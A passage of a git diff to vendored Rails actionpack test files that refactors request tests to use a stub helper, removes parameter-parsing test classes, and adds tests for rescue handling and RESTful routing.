+    request = stub_request 'HTTP_X_REQUESTED_WITH' => 'DefinitelyNotAjax1.0'
+    assert !request.xml_http_request?
+    assert !request.xhr?
+
+    request = stub_request 'HTTP_X_REQUESTED_WITH' => 'XMLHttpRequest'
+    assert request.xml_http_request?
+    assert request.xhr?
   end
 
   def test_reports_ssl
-    assert !@request.ssl?
-    @request.env['HTTPS'] = 'on'
-    assert @request.ssl?
+    request = stub_request
+    assert !request.ssl?
+
+    request = stub_request 'HTTPS' => 'on'
+    assert request.ssl?
   end
 
   def test_reports_ssl_when_proxied_via_lighttpd
-    assert !@request.ssl?
-    @request.env['HTTP_X_FORWARDED_PROTO'] = 'https'
-    assert @request.ssl?
+    request = stub_request
+    assert !request.ssl?
+
+    request = stub_request 'HTTP_X_FORWARDED_PROTO' => 'https'
+    assert request.ssl?
   end
 
   def test_symbolized_request_methods
     [:get, :post, :put, :delete].each do |method|
-      self.request_method = method
-      assert_equal method, @request.method
+      request = stub_request 'REQUEST_METHOD' => method.to_s.upcase
+      assert_equal method, request.method
     end
   end
 
   def test_invalid_http_method_raises_exception
-    assert_raises(ActionController::UnknownHttpMethod) do
-      self.request_method = :random_method
+    assert_raise(ActionController::UnknownHttpMethod) do
+      request = stub_request 'REQUEST_METHOD' => 'RANDOM_METHOD'
+      request.request_method
     end
   end
 
   def test_allow_method_hacking_on_post
-    self.request_method = :post
     [:get, :head, :options, :put, :post, :delete].each do |method|
-      @request.instance_eval { @parameters = { :_method => method.to_s } ; @request_method = nil }
-      @request.request_method(true)
-      assert_equal(method == :head ? :get : method, @request.method)
-    end
-  end
-
-  def test_invalid_method_hacking_on_post_raises_exception
-    self.request_method = :post
-    @request.instance_eval { @parameters = { :_method => :random_method } ; @request_method = nil }
-    assert_raises(ActionController::UnknownHttpMethod) do
-      @request.request_method(true)
+      request = stub_request 'REQUEST_METHOD' => method.to_s.upcase
+      assert_equal(method == :head ? :get : method, request.method)
     end
   end
 
   def test_restrict_method_hacking
-    @request.instance_eval { @parameters = { :_method => 'put' } }
     [:get, :put, :delete].each do |method|
-      self.request_method = method
-      assert_equal method, @request.method
+      request = stub_request 'REQUEST_METHOD' => method.to_s.upcase,
+        'action_controller.request.request_parameters' => { :_method => 'put' }
+      assert_equal method, request.method
     end
   end
 
   def test_head_masquerading_as_get
-    self.request_method = :head
-    assert_equal :get, @request.method
-    assert @request.get?
-    assert @request.head?
+    request = stub_request 'REQUEST_METHOD' => 'HEAD'
+    assert_equal :get, request.method
+    assert request.get?
+    assert request.head?
   end
 
   def test_xml_format
-    @request.instance_eval { @parameters = { :format => 'xml' } }
-    assert_equal Mime::XML, @request.format
+    request = stub_request
+    request.expects(:parameters).at_least_once.returns({ :format => 'xml' })
+    assert_equal Mime::XML, request.format
   end
 
   def test_xhtml_format
-    @request.instance_eval { @parameters = { :format => 'xhtml' } }
-    assert_equal Mime::HTML, @request.format
+    request = stub_request
+    request.expects(:parameters).at_least_once.returns({ :format => 'xhtml' })
+    assert_equal Mime::HTML, request.format
   end
 
   def test_txt_format
-    @request.instance_eval { @parameters = { :format => 'txt' } }
-    assert_equal Mime::TEXT, @request.format
+    request = stub_request
+    request.expects(:parameters).at_least_once.returns({ :format => 'txt' })
+    assert_equal Mime::TEXT, request.format
   end
 
-  def test_nil_format
+  def test_xml_http_request
     ActionController::Base.use_accept_header, old =
       false, ActionController::Base.use_accept_header
 
-    @request.instance_eval { @parameters = {} }
-    @request.env["HTTP_X_REQUESTED_WITH"] = "XMLHttpRequest"
-    assert @request.xhr?
-    assert_equal Mime::JS, @request.format
-
+    request = stub_request 'HTTP_X_REQUESTED_WITH' => 'XMLHttpRequest'
+    request.expects(:parameters).at_least_once.returns({})
+    assert request.xhr?
+    assert_equal Mime::JS, request.format
   ensure
     ActionController::Base.use_accept_header = old
   end
 
   def test_content_type
-    @request.env["CONTENT_TYPE"] = "text/html"
-    assert_equal Mime::HTML, @request.content_type
+    request = stub_request 'CONTENT_TYPE' => 'text/html'
+    assert_equal Mime::HTML, request.content_type
   end
 
-  def test_format_assignment_should_set_format
-    @request.instance_eval { self.format = :txt }
-    assert !@request.format.xml?
-    @request.instance_eval { self.format = :xml }
-    assert @request.format.xml?
+  def test_can_override_format_with_parameter
+    request = stub_request
+    request.expects(:parameters).at_least_once.returns({ :format => :txt })
+    assert !request.format.xml?
+
+    request = stub_request
+    request.expects(:parameters).at_least_once.returns({ :format => :xml })
+    assert request.format.xml?
   end
 
   def test_content_no_type
-    assert_equal nil, @request.content_type
+    request = stub_request
+    assert_equal nil, request.content_type
   end
 
   def test_content_type_xml
-    @request.env["CONTENT_TYPE"] = "application/xml"
-    assert_equal Mime::XML, @request.content_type
+    request = stub_request 'CONTENT_TYPE' => 'application/xml'
+    assert_equal Mime::XML, request.content_type
   end
 
   def test_content_type_with_charset
-    @request.env["CONTENT_TYPE"] = "application/xml; charset=UTF-8"
-    assert_equal Mime::XML, @request.content_type
+    request = stub_request 'CONTENT_TYPE' => 'application/xml; charset=UTF-8'
+    assert_equal Mime::XML, request.content_type
   end
 
   def test_user_agent
-    assert_not_nil @request.user_agent
+    request = stub_request 'HTTP_USER_AGENT' => 'TestAgent'
+    assert_equal 'TestAgent', request.user_agent
   end
 
   def test_parameters
-    @request.instance_eval { @request_parameters = { "foo" => 1 } }
-    @request.instance_eval { @query_parameters = { "bar" => 2 } }
+    request = stub_request
+    request.stubs(:request_parameters).returns({ "foo" => 1 })
+    request.stubs(:query_parameters).returns({ "bar" => 2 })
 
-    assert_equal({"foo" => 1, "bar" => 2}, @request.parameters)
-    assert_equal({"foo" => 1}, @request.request_parameters)
-    assert_equal({"bar" => 2}, @request.query_parameters)
+    assert_equal({"foo" => 1, "bar" => 2}, request.parameters)
+    assert_equal({"foo" => 1}, request.request_parameters)
+    assert_equal({"bar" => 2}, request.query_parameters)
+  end
+
+protected
+
+  def stub_request(env={})
+    ActionController::Request.new(env)
   end
 
-  protected
-    def request_method=(method)
-      @request.env['REQUEST_METHOD'] = method.to_s.upcase
-      @request.request_method(true)
-    end
-end
-
-class UrlEncodedRequestParameterParsingTest < Test::Unit::TestCase
-  def setup
-    @query_string = "action=create_customer&full_name=David%20Heinemeier%20Hansson&customerId=1"
-    @query_string_with_empty = "action=create_customer&full_name="
-    @query_string_with_array = "action=create_customer&selected[]=1&selected[]=2&selected[]=3"
-    @query_string_with_amps  = "action=create_customer&name=Don%27t+%26+Does"
-    @query_string_with_multiple_of_same_name =
-      "action=update_order&full_name=Lau%20Taarnskov&products=4&products=2&products=3"
-    @query_string_with_many_equal = "action=create_customer&full_name=abc=def=ghi"
-    @query_string_without_equal = "action"
-    @query_string_with_many_ampersands =
-      "&action=create_customer&&&full_name=David%20Heinemeier%20Hansson"
-    @query_string_with_empty_key = "action=create_customer&full_name=David%20Heinemeier%20Hansson&=Save"
-  end
-
-  def test_query_string
-    assert_equal(
-      { "action" => "create_customer", "full_name" => "David Heinemeier Hansson", "customerId" => "1"},
-      ActionController::AbstractRequest.parse_query_parameters(@query_string)
-    )
-  end
-
-  def test_deep_query_string
-    expected = {'x' => {'y' => {'z' => '10'}}}
-    assert_equal(expected, ActionController::AbstractRequest.parse_query_parameters('x[y][z]=10'))
-  end
-
-  def test_deep_query_string_with_array
-    assert_equal({'x' => {'y' => {'z' => ['10']}}}, ActionController::AbstractRequest.parse_query_parameters('x[y][z][]=10'))
-    assert_equal({'x' => {'y' => {'z' => ['10', '5']}}}, ActionController::AbstractRequest.parse_query_parameters('x[y][z][]=10&x[y][z][]=5'))
-  end
-
-  def test_deep_query_string_with_array_of_hash
-    assert_equal({'x' => {'y' => [{'z' => '10'}]}}, ActionController::AbstractRequest.parse_query_parameters('x[y][][z]=10'))
-    assert_equal({'x' => {'y' => [{'z' => '10', 'w' => '10'}]}}, ActionController::AbstractRequest.parse_query_parameters('x[y][][z]=10&x[y][][w]=10'))
-  end
-
-  def test_deep_query_string_with_array_of_hashes_with_one_pair
-    assert_equal({'x' => {'y' => [{'z' => '10'}, {'z' => '20'}]}}, ActionController::AbstractRequest.parse_query_parameters('x[y][][z]=10&x[y][][z]=20'))
-    assert_equal("10", ActionController::AbstractRequest.parse_query_parameters('x[y][][z]=10&x[y][][z]=20')["x"]["y"].first["z"])
-    assert_equal("10", ActionController::AbstractRequest.parse_query_parameters('x[y][][z]=10&x[y][][z]=20').with_indifferent_access[:x][:y].first[:z])
-  end
-
-  def test_deep_query_string_with_array_of_hashes_with_multiple_pairs
-    assert_equal(
-      {'x' => {'y' => [{'z' => '10', 'w' => 'a'}, {'z' => '20', 'w' => 'b'}]}},
-      ActionController::AbstractRequest.parse_query_parameters('x[y][][z]=10&x[y][][w]=a&x[y][][z]=20&x[y][][w]=b')
-    )
-  end
-
-  def test_query_string_with_nil
-    assert_equal(
-      { "action" => "create_customer", "full_name" => ''},
-      ActionController::AbstractRequest.parse_query_parameters(@query_string_with_empty)
-    )
-  end
-
-  def test_query_string_with_array
-    assert_equal(
-      { "action" => "create_customer", "selected" => ["1", "2", "3"]},
-      ActionController::AbstractRequest.parse_query_parameters(@query_string_with_array)
-    )
-  end
-
-  def test_query_string_with_amps
-    assert_equal(
-      { "action" => "create_customer", "name" => "Don't & Does"},
-      ActionController::AbstractRequest.parse_query_parameters(@query_string_with_amps)
-    )
-  end
-
-  def test_query_string_with_many_equal
-    assert_equal(
-      { "action" => "create_customer", "full_name" => "abc=def=ghi"},
-      ActionController::AbstractRequest.parse_query_parameters(@query_string_with_many_equal)
-    )
-  end
-
-  def test_query_string_without_equal
-    assert_equal(
-      { "action" => nil },
-      ActionController::AbstractRequest.parse_query_parameters(@query_string_without_equal)
-    )
-  end
-
-  def test_query_string_with_empty_key
-    assert_equal(
-      { "action" => "create_customer", "full_name" => "David Heinemeier Hansson" },
-      ActionController::AbstractRequest.parse_query_parameters(@query_string_with_empty_key)
-    )
-  end
-
-  def test_query_string_with_many_ampersands
-    assert_equal(
-      { "action" => "create_customer", "full_name" => "David Heinemeier Hansson"},
-      ActionController::AbstractRequest.parse_query_parameters(@query_string_with_many_ampersands)
-    )
-  end
-
-  def test_unbalanced_query_string_with_array
-   assert_equal(
-     {'location' => ["1", "2"], 'age_group' => ["2"]},
-  ActionController::AbstractRequest.parse_query_parameters("location[]=1&location[]=2&age_group[]=2")
-   )
-   assert_equal(
-     {'location' => ["1", "2"], 'age_group' => ["2"]},
-     ActionController::AbstractRequest.parse_request_parameters({'location[]' => ["1", "2"],
-  'age_group[]' => ["2"]})
-   )
-  end
-
-  def test_request_hash_parsing
-    query = {
-      "note[viewers][viewer][][type]" => ["User", "Group"],
-      "note[viewers][viewer][][id]"   => ["1", "2"]
-    }
-
-    expected = { "note" => { "viewers"=>{"viewer"=>[{ "id"=>"1", "type"=>"User"}, {"type"=>"Group", "id"=>"2"} ]} } }
-
-    assert_equal(expected, ActionController::AbstractRequest.parse_request_parameters(query))
-  end
-
-  def test_parse_params
-    input = {
-      "customers[boston][first][name]" => [ "David" ],
-      "customers[boston][first][url]" => [ "http://David" ],
-      "customers[boston][second][name]" => [ "Allan" ],
-      "customers[boston][second][url]" => [ "http://Allan" ],
-      "something_else" => [ "blah" ],
-      "something_nil" => [ nil ],
-      "something_empty" => [ "" ],
-      "products[first]" => [ "Apple Computer" ],
-      "products[second]" => [ "Pc" ],
-      "" => [ 'Save' ]
-    }
-
-    expected_output =  {
-      "customers" => {
-        "boston" => {
-          "first" => {
-            "name" => "David",
-            "url" => "http://David"
-          },
-          "second" => {
-            "name" => "Allan",
-            "url" => "http://Allan"
-          }
-        }
-      },
-      "something_else" => "blah",
-      "something_empty" => "",
-      "something_nil" => "",
-      "products" => {
-        "first" => "Apple Computer",
-        "second" => "Pc"
-      }
-    }
-
-    assert_equal expected_output, ActionController::AbstractRequest.parse_request_parameters(input)
-  end
-
-  UploadedStringIO = ActionController::UploadedStringIO
-  class MockUpload < UploadedStringIO
-    def initialize(content_type, original_path, *args)
-      self.content_type = content_type
-      self.original_path = original_path
-      super *args
-    end
-  end
-
-  def test_parse_params_from_multipart_upload
-    file = MockUpload.new('img/jpeg', 'foo.jpg')
-    ie_file = MockUpload.new('img/jpeg', 'c:\\Documents and Settings\\foo\\Desktop\\bar.jpg')
-    non_file_text_part = MockUpload.new('text/plain', '', 'abc')
-
-    input = {
-      "something" => [ UploadedStringIO.new("") ],
-      "array_of_stringios" => [[ UploadedStringIO.new("One"), UploadedStringIO.new("Two") ]],
-      "mixed_types_array" => [[ UploadedStringIO.new("Three"), "NotStringIO" ]],
-      "mixed_types_as_checkboxes[strings][nested]" => [[ file, "String", UploadedStringIO.new("StringIO")]],
-      "ie_mixed_types_as_checkboxes[strings][nested]" => [[ ie_file, "String", UploadedStringIO.new("StringIO")]],
-      "products[string]" => [ UploadedStringIO.new("Apple Computer") ],
-      "products[file]" => [ file ],
-      "ie_products[string]" => [ UploadedStringIO.new("Microsoft") ],
-      "ie_products[file]" => [ ie_file ],
-      "text_part" => [non_file_text_part]
-      }
-
-    expected_output =  {
-      "something" => "",
-      "array_of_stringios" => ["One", "Two"],
-      "mixed_types_array" => [ "Three", "NotStringIO" ],
-      "mixed_types_as_checkboxes" => {
-         "strings" => {
-            "nested" => [ file, "String", "StringIO" ]
-         },
-      },
-      "ie_mixed_types_as_checkboxes" => {
-         "strings" => {
-            "nested" => [ ie_file, "String", "StringIO" ]
-         },
-      },
-      "products" => {
-        "string" => "Apple Computer",
-        "file" => file
-      },
-      "ie_products" => {
-        "string" => "Microsoft",
-        "file" => ie_file
-      },
-      "text_part" => "abc"
-    }
-
-    params = ActionController::AbstractRequest.parse_request_parameters(input)
-    assert_equal expected_output, params
-
-    # Lone filenames are preserved.
-    assert_equal 'foo.jpg', params['mixed_types_as_checkboxes']['strings']['nested'].first.original_filename
-    assert_equal 'foo.jpg', params['products']['file'].original_filename
-
-    # But full Windows paths are reduced to their basename.
-    assert_equal 'bar.jpg', params['ie_mixed_types_as_checkboxes']['strings']['nested'].first.original_filename
-    assert_equal 'bar.jpg', params['ie_products']['file'].original_filename
-  end
-
-  def test_parse_params_with_file
-    input = {
-      "customers[boston][first][name]" => [ "David" ],
-      "something_else" => [ "blah" ],
-      "logo" => [ File.new(File.dirname(__FILE__) + "/cgi_test.rb").path ]
-    }
-
-    expected_output = {
-      "customers" => {
-        "boston" => {
-          "first" => {
-            "name" => "David"
-          }
-        }
-      },
-      "something_else" => "blah",
-      "logo" => File.new(File.dirname(__FILE__) + "/cgi_test.rb").path,
-    }
-
-    assert_equal expected_output, ActionController::AbstractRequest.parse_request_parameters(input)
-  end
-
-  def test_parse_params_with_array
-    input = { "selected[]" =>  [ "1", "2", "3" ] }
-
-    expected_output = { "selected" => [ "1", "2", "3" ] }
-
-    assert_equal expected_output, ActionController::AbstractRequest.parse_request_parameters(input)
-  end
-
-  def test_parse_params_with_non_alphanumeric_name
-    input     = { "a/b[c]" =>  %w(d) }
-    expected  = { "a/b" => { "c" => "d" }}
-    assert_equal expected, ActionController::AbstractRequest.parse_request_parameters(input)
-  end
-
-  def test_parse_params_with_single_brackets_in_middle
-    input     = { "a/b[c]d" =>  %w(e) }
-    expected  = { "a/b" => {} }
-    assert_equal expected, ActionController::AbstractRequest.parse_request_parameters(input)
-  end
-
-  def test_parse_params_with_separated_brackets
-    input     = { "a/b@[c]d[e]" =>  %w(f) }
-    expected  = { "a/b@" => { }}
-    assert_equal expected, ActionController::AbstractRequest.parse_request_parameters(input)
-  end
-
-  def test_parse_params_with_separated_brackets_and_array
-    input     = { "a/b@[c]d[e][]" =>  %w(f) }
-    expected  = { "a/b@" => { }}
-    assert_equal expected , ActionController::AbstractRequest.parse_request_parameters(input)
-  end
-
-  def test_parse_params_with_unmatched_brackets_and_array
-    input     = { "a/b@[c][d[e][]" =>  %w(f) }
-    expected  = { "a/b@" => { "c" => { }}}
-    assert_equal expected, ActionController::AbstractRequest.parse_request_parameters(input)
-  end
-
-  def test_parse_params_with_nil_key
-    input = { nil => nil, "test2" => %w(value1) }
-    expected = { "test2" => "value1" }
-    assert_equal expected, ActionController::AbstractRequest.parse_request_parameters(input)
-  end
-
-  def test_parse_params_with_array_prefix_and_hashes
-    input = { "a[][b][c]" => %w(d) }
-    expected = {"a" => [{"b" => {"c" => "d"}}]}
-    assert_equal expected, ActionController::AbstractRequest.parse_request_parameters(input)
-  end
-
-  def test_parse_params_with_complex_nesting
-    input = { "a[][b][c][][d][]" => %w(e) }
-    expected = {"a" => [{"b" => {"c" => [{"d" => ["e"]}]}}]}
-    assert_equal expected, ActionController::AbstractRequest.parse_request_parameters(input)
-  end
-end
-
-class MultipartRequestParameterParsingTest < Test::Unit::TestCase
-  FIXTURE_PATH = File.dirname(__FILE__) + '/../fixtures/multipart'
-
-  def test_single_parameter
-    params = process('single_parameter')
-    assert_equal({ 'foo' => 'bar' }, params)
-  end
-
-  def test_bracketed_param
-    assert_equal({ 'foo' => { 'baz' => 'bar'}}, process('bracketed_param'))
-  end
-
-  def test_text_file
-    params = process('text_file')
-    assert_equal %w(file foo), params.keys.sort
-    assert_equal 'bar', params['foo']
-
-    file = params['file']
-    assert_kind_of StringIO, file
-    assert_equal 'file.txt', file.original_filename
-    assert_equal "text/plain", file.content_type
-    assert_equal 'contents', file.read
-  end
-
-  def test_boundary_problem_file
-    params = process('boundary_problem_file')
-    assert_equal %w(file foo), params.keys.sort
-
-    file = params['file']
-    foo  = params['foo']
-
-    assert_kind_of Tempfile, file
-
-    assert_equal 'file.txt', file.original_filename
-    assert_equal "text/plain", file.content_type
-
-    assert_equal 'bar', foo
-  end
-
-  def test_large_text_file
-    params = process('large_text_file')
-    assert_equal %w(file foo), params.keys.sort
-    assert_equal 'bar', params['foo']
-
-    file = params['file']
-
-    assert_kind_of Tempfile, file
-
-    assert_equal 'file.txt', file.original_filename
-    assert_equal "text/plain", file.content_type
-    assert ('a' * 20480) == file.read
-  end
-
-  uses_mocha "test_no_rewind_stream" do
-    def test_no_rewind_stream
-      # Ensures that parse_multipart_form_parameters works with streams that cannot be rewound
-      file = File.open(File.join(FIXTURE_PATH, 'large_text_file'), 'rb')
-      file.expects(:rewind).raises(Errno::ESPIPE)
-      params = ActionController::AbstractRequest.parse_multipart_form_parameters(file, 'AaB03x', file.stat.size, {})
-      assert_not_equal 0, file.pos  # file was not rewound after reading
-    end
-  end
-
-  def test_binary_file
-    params = process('binary_file')
-    assert_equal %w(file flowers foo), params.keys.sort
-    assert_equal 'bar', params['foo']
-
-    file = params['file']
-    assert_kind_of StringIO, file
-    assert_equal 'file.csv', file.original_filename
-    assert_nil file.content_type
-    assert_equal 'contents', file.read
-
-    file = params['flowers']
-    assert_kind_of StringIO, file
-    assert_equal 'flowers.jpg', file.original_filename
-    assert_equal "image/jpeg", file.content_type
-    assert_equal 19512, file.size
-    #assert_equal File.read(File.dirname(__FILE__) + '/../../../activerecord/test/fixtures/flowers.jpg'), file.read
-  end
-
-  def test_mixed_files
-    params = process('mixed_files')
-    assert_equal %w(files foo), params.keys.sort
-    assert_equal 'bar', params['foo']
-
-    # Ruby CGI doesn't handle multipart/mixed for us.
-    files = params['files']
-    assert_kind_of String, files
-    files.force_encoding('ASCII-8BIT') if files.respond_to?(:force_encoding)
-    assert_equal 19756, files.size
-  end
-
-  private
-    def process(name)
-      File.open(File.join(FIXTURE_PATH, name), 'rb') do |file|
-        params = ActionController::AbstractRequest.parse_multipart_form_parameters(file, 'AaB03x', file.stat.size, {})
-        assert_equal 0, file.pos  # file was rewound after reading
-        params
-      end
-    end
-end
-
-class XmlParamsParsingTest < Test::Unit::TestCase
-  def test_hash_params
-    person = parse_body("<person><name>David</name></person>")[:person]
-    assert_kind_of Hash, person
-    assert_equal 'David', person['name']
-  end
-
-  def test_single_file
-    person = parse_body("<person><name>David</name><avatar type='file' name='me.jpg' content_type='image/jpg'>#{ActiveSupport::Base64.encode64('ABC')}</avatar></person>")
-
-    assert_equal "image/jpg", person['person']['avatar'].content_type
-    assert_equal "me.jpg", person['person']['avatar'].original_filename
-    assert_equal "ABC", person['person']['avatar'].read
-  end
-
-  def test_multiple_files
-    person = parse_body(<<-end_body)
-      <person>
-        <name>David</name>
-        <avatars>
-          <avatar type='file' name='me.jpg' content_type='image/jpg'>#{ActiveSupport::Base64.encode64('ABC')}</avatar>
-          <avatar type='file' name='you.gif' content_type='image/gif'>#{ActiveSupport::Base64.encode64('DEF')}</avatar>
-        </avatars>
-      </person>
-    end_body
-
-    assert_equal "image/jpg", person['person']['avatars']['avatar'].first.content_type
-    assert_equal "me.jpg", person['person']['avatars']['avatar'].first.original_filename
-    assert_equal "ABC", person['person']['avatars']['avatar'].first.read
-
-    assert_equal "image/gif", person['person']['avatars']['avatar'].last.content_type
-    assert_equal "you.gif", person['person']['avatars']['avatar'].last.original_filename
-    assert_equal "DEF", person['person']['avatars']['avatar'].last.read
-  end
-
-  private
-    def parse_body(body)
-      env = { 'rack.input'     => StringIO.new(body),
-              'CONTENT_TYPE'   => 'application/xml',
-              'CONTENT_LENGTH' => body.size.to_s }
-      ActionController::RackRequest.new(env).request_parameters
-    end
-end
-
-class LegacyXmlParamsParsingTest < XmlParamsParsingTest
-  private
-    def parse_body(body)
-      env = { 'rack.input'              => StringIO.new(body),
-              'HTTP_X_POST_DATA_FORMAT' => 'xml',
-              'CONTENT_LENGTH'          => body.size.to_s }
-      ActionController::RackRequest.new(env).request_parameters
-    end
-end
-
-class JsonParamsParsingTest < Test::Unit::TestCase
-  def test_hash_params_for_application_json
-    person = parse_body({:person => {:name => "David"}}.to_json,'application/json')[:person]
-    assert_kind_of Hash, person
-    assert_equal 'David', person['name']
-  end
-
-  def test_hash_params_for_application_jsonrequest
-    person = parse_body({:person => {:name => "David"}}.to_json,'application/jsonrequest')[:person]
-    assert_kind_of Hash, person
-    assert_equal 'David', person['name']
-  end
-
-  private
-    def parse_body(body,content_type)
-      env = { 'rack.input'     => StringIO.new(body),
-              'CONTENT_TYPE'   => content_type,
-              'CONTENT_LENGTH' => body.size.to_s }
-      ActionController::RackRequest.new(env).request_parameters
-    end
 end
diff --git a/vendor/rails/actionpack/test/controller/rescue_test.rb b/vendor/rails/actionpack/test/controller/rescue_test.rb
index 32c6c013..5709f37e 100644
--- a/vendor/rails/actionpack/test/controller/rescue_test.rb
+++ b/vendor/rails/actionpack/test/controller/rescue_test.rb
@@ -1,7 +1,5 @@
 require 'abstract_unit'
 
-uses_mocha 'rescue' do
-
 class RescueController < ActionController::Base
   class NotAuthorized < StandardError
   end
@@ -67,6 +65,11 @@ class RescueController < ActionController::Base
     render :text => 'no way'
   end
 
+  before_filter(:only => :before_filter_raises) { raise 'umm nice' }
+
+  def before_filter_raises
+  end
+
   def raises
     render :text => 'already rendered'
     raise "don't panic!"
@@ -154,6 +157,16 @@ class RescueControllerTest < ActionController::TestCase
     end
   end
 
+  def test_rescue_exceptions_raised_by_filters
+    with_rails_root FIXTURE_PUBLIC do
+      with_all_requests_local false do
+        get :before_filter_raises
+      end
+    end
+
+    assert_response :internal_server_error
+  end
+
   def test_rescue_action_locally_if_all_requests_local
     @controller.expects(:local_request?).never
     @controller.expects(:rescue_action_locally).with(@exception)
@@ -184,6 +197,24 @@ class RescueControllerTest < ActionController::TestCase
     end
   end
 
+  def test_rescue_action_in_public_with_localized_error_file
+    # Change locale
+    old_locale = I18n.locale
+    I18n.locale = :da
+
+    with_rails_root FIXTURE_PUBLIC do
+      with_all_requests_local false do
+        get :raises
+      end
+    end
+
+    assert_response :internal_server_error
+    body = File.read("#{FIXTURE_PUBLIC}/public/500.da.html")
+    assert_equal body, @response.body
+  ensure
+    I18n.locale = old_locale
+  end
+
   def test_rescue_action_in_public_with_error_file
     with_rails_root FIXTURE_PUBLIC do
       with_all_requests_local false do
@@ -291,24 +322,6 @@ class RescueControllerTest < ActionController::TestCase
     assert_equal 'template_error',    templates[ActionView::TemplateError.name]
   end
 
-  def test_clean_backtrace
-    with_rails_root nil do
-      # No action if RAILS_ROOT isn't set.
-      cleaned = @controller.send(:clean_backtrace, @exception)
-      assert_equal @exception.backtrace, cleaned
-    end
-
-    with_rails_root Dir.pwd do
-      # RAILS_ROOT is removed from backtrace.
-      cleaned = @controller.send(:clean_backtrace, @exception)
-      expected = @exception.backtrace.map { |line| line.sub(RAILS_ROOT, '') }
-      assert_equal expected, cleaned
-
-      # No action if backtrace is nil.
-      assert_nil @controller.send(:clean_backtrace, Exception.new)
-    end
-  end
-
   def test_not_implemented
     with_all_requests_local false do
       with_rails_public_path(".") do
@@ -385,10 +398,21 @@ class RescueControllerTest < ActionController::TestCase
   end
 
   def test_rescue_dispatcher_exceptions
-    RescueController.process_with_exception(@request, @response, ActionController::RoutingError.new("Route not found"))
+    env = @request.env
+    env["action_controller.rescue.request"] = @request
+    env["action_controller.rescue.response"] = @response
+
+    RescueController.call_with_exception(env, ActionController::RoutingError.new("Route not found"))
     assert_equal "no way", @response.body
   end
 
+  def test_rescue_dispatcher_exceptions_without_request_set
+    @request.env['REQUEST_URI'] = '/no_way'
+    response = RescueController.call_with_exception(@request.env, ActionController::RoutingError.new("Route not found"))
+    assert_kind_of ActionController::Response, response
+    assert_equal "no way", response.body
+  end
+
   protected
     def with_all_requests_local(local = true)
       old_local, ActionController::Base.consider_all_requests_local =
@@ -510,4 +534,3 @@ class ControllerInheritanceRescueControllerTest < ActionController::TestCase
     assert_response :created
   end
 end
-end # uses_mocha
diff --git a/vendor/rails/actionpack/test/controller/resources_test.rb b/vendor/rails/actionpack/test/controller/resources_test.rb
index 04f7a0a5..0b639e36 100644
--- a/vendor/rails/actionpack/test/controller/resources_test.rb
+++ b/vendor/rails/actionpack/test/controller/resources_test.rb
@@ -29,7 +29,7 @@ module Backoffice
   end
 end
 
-class ResourcesTest < Test::Unit::TestCase
+class ResourcesTest < ActionController::TestCase
   # The assertions in these tests are incompatible with the hash method
   # optimisation.  This could indicate user level problems
   def setup
@@ -76,6 +76,50 @@ class ResourcesTest < Test::Unit::TestCase
     end
   end
 
+  def test_override_paths_for_member_and_collection_methods
+    collection_methods = { 'rss' => :get, 'reorder' => :post, 'csv' => :post }
+    member_methods    = { 'rss' => :get, :atom => :get, :upload => :post, :fix => :post }
+    path_names = {:new => 'nuevo', 'rss' => 'canal', :fix => 'corrigir' }
+
+    with_restful_routing :messages,
+        :collection => collection_methods,
+        :member => member_methods,
+        :path_names => path_names do
+
+      assert_restful_routes_for :messages,
+          :collection => collection_methods,
+          :member => member_methods,
+          :path_names => path_names do |options|
+        member_methods.each do |action, method|
+          assert_recognizes(options.merge(:action => action.to_s, :id => '1'),
+            :path => "/messages/1/#{path_names[action] || action}",
+            :method => method)
+        end
+
+        collection_methods.each do |action, method|
+          assert_recognizes(options.merge(:action => action),
+            :path => "/messages/#{path_names[action] || action}",
+            :method => method)
+        end
+      end
+
+      assert_restful_named_routes_for :messages,
+          :collection => collection_methods,
+          :member => member_methods,
+          :path_names => path_names do |options|
+
+        collection_methods.keys.each do |action|
+          assert_named_route "/messages/#{path_names[action] || action}", "#{action}_messages_path", :action => action
+        end
+
+        member_methods.keys.each do |action|
+          assert_named_route "/messages/1/#{path_names[action] || action}", "#{action}_message_path", :action => action, :id => "1"
+        end
+
+      end
+    end
+  end
+
   def test_override_paths_for_default_restful_actions
     resource = ActionController::Resources::Resource.new(:messages,
       :path_names => {:new => 'nuevo', :edit => 'editar'})
@@ -99,7 +143,7 @@ class ResourcesTest < Test::Unit::TestCase
     expected_options = {:controller => 'messages', :action => 'show', :id => '1.1.1'}
 
     with_restful_routing :messages do
-      assert_raises(ActionController::RoutingError) do
+      assert_raise(ActionController::RoutingError) do
         assert_recognizes(expected_options, :path => 'messages/1.1.1', :method => :get)
       end
     end
@@ -120,6 +164,14 @@ class ResourcesTest < Test::Unit::TestCase
     end
   end
 
+  def test_irregular_id_requirements_should_get_passed_to_member_actions
+    expected_options = {:controller => 'messages', :action => 'custom', :id => '1.1.1'}
+
+    with_restful_routing(:messages, :member => {:custom => :get}, :requirements => {:id => /[0-9]\.[0-9]\.[0-9]/}) do
+      assert_recognizes(expected_options, :path => 'messages/1.1.1/custom', :method => :get)
+    end
+  end
+
   def test_with_path_prefix
     with_restful_routing :messages, :path_prefix => '/thread/:thread_id' do
       assert_simply_restful_for :messages, :path_prefix => 'thread/5/', :options => { :thread_id => '5' }
@@ -175,6 +227,24 @@ class ResourcesTest < Test::Unit::TestCase
     end
   end
 
+  def test_with_collection_actions_and_name_prefix_and_member_action_with_same_name
+    actions = { 'a' => :get }
+
+    with_restful_routing :messages, :path_prefix => '/threads/:thread_id', :name_prefix => "thread_", :collection => actions, :member => actions do
+      assert_restful_routes_for :messages, :path_prefix => 'threads/1/', :name_prefix => 'thread_', :options => { :thread_id => '1' } do |options|
+        actions.each do |action, method|
+          assert_recognizes(options.merge(:action => action), :path => "/threads/1/messages/#{action}", :method => method)
+        end
+      end
+
+      assert_restful_named_routes_for :messages, :path_prefix => 'threads/1/', :name_prefix => 'thread_', :options => { :thread_id => '1' } do |options|
+        actions.keys.each do |action|
+          assert_named_route "/threads/1/messages/#{action}", "#{action}_thread_messages_path", :action => action
+        end
+      end
+    end
+  end
+
   def test_with_collection_action_and_name_prefix_and_formatted
     actions = { 'a' => :get, 'b' => :put, 'c' => :post, 'd' => :delete }
 
@@ -187,7 +257,7 @@ class ResourcesTest < Test::Unit::TestCase
 
       assert_restful_named_routes_for :messages, :path_prefix => 'threads/1/', :name_prefix => 'thread_', :options => { :thread_id => '1' } do |options|
         actions.keys.each do |action|
-          assert_named_route "/threads/1/messages/#{action}.xml", "formatted_#{action}_thread_messages_path", :action => action, :format => 'xml'
+          assert_named_route "/threads/1/messages/#{action}.xml", "#{action}_thread_messages_path", :action => action, :format => 'xml'
